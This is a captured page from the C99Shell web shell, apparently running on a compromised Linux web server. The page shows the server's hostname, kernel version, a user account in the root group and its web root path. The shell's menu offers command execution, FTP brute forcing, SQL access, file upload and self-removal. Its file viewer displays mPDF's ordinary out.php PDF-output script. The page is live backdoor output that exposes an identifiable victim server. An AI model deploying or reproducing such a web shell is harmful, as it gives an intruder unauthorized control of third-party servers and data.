!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/vendor/mpdf/mpdf/data/   drwxr-xr-x
Free 26.09 GB of 117.98 GB (22.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     out.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

$path 
'../tmp/';

$tempfilename $_REQUEST['filename'].'.pdf';

if (
strstr($tempfilename,'/') || strstr($tempfilename,'\\')) {
    throw new 
MpdfException('Output filename can not not contain \ or /');
}

$name $_REQUEST['opname'];
$dest $_REQUEST['dest'];

if (
$tempfilename && file_exists($path $tempfilename)) {
    
// mPDF 5.3.17
    
if ($dest === 'I') {
        if (
PHP_SAPI != 'cli') {
            
header('Content-Type: application/pdf');
            
header('Content-disposition: inline; filename="' $name '"');
            
header('Cache-Control: public, must-revalidate, max-age=0');
            
header('Pragma: public');
            
header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
            
header('Last-Modified: ' gmdate('D, d M Y H:i:s') . ' GMT');
        }
    } elseif (
$dest === 'D') {

        if (
headers_sent()) {
            throw new 
MpdfException('Some data has already been output to browser, can\'t send PDF file');
        }

        
header('Content-Description: File Transfer');
        
header('Content-Transfer-Encoding: binary');
        
header('Cache-Control: public, must-revalidate, max-age=0');
        
header('Pragma: public');
        
header('Expires: Sat, 26 Jul 1997 05:00:00 GMT');
        
header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT');
        
header('Content-Type: application/force-download');
        
header('Content-Type: application/octet-stream'false);
        
header('Content-Type: application/download'false);
        
header('Content-Type: application/pdf'false);
        
header('Content-disposition: attachment; filename="' $name '"');
    }

    
$filesize filesize($path.$tempfilename);
    if (empty(
$_SERVER['HTTP_ACCEPT_ENCODING'])) {
        
// don't use length if server using compression
        
header('Content-Length: ' $filesize);
    }

    
$fd fopen($path $tempfilename'rb');
    
fpassthru($fd);
    
fclose($fd);
    
unlink($path $tempfilename);

    
// ====================== DELETE OLD FILES - Housekeeping =========================================
    // Clear any files in directory that are >24 hrs old

    
$interval 86400;
    if (
$handle opendir(dirname($path.'dummy'))) {
        while (
false !== ($file readdir($handle))) {
            if (((
filemtime($path.$file)+$interval) < time()) && ($file != "..") && ($file != ".") && substr($file, -3)=='pdf') {
                
unlink($path.$file);
            }
        }
       
closedir($handle);
    }
    exit;
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--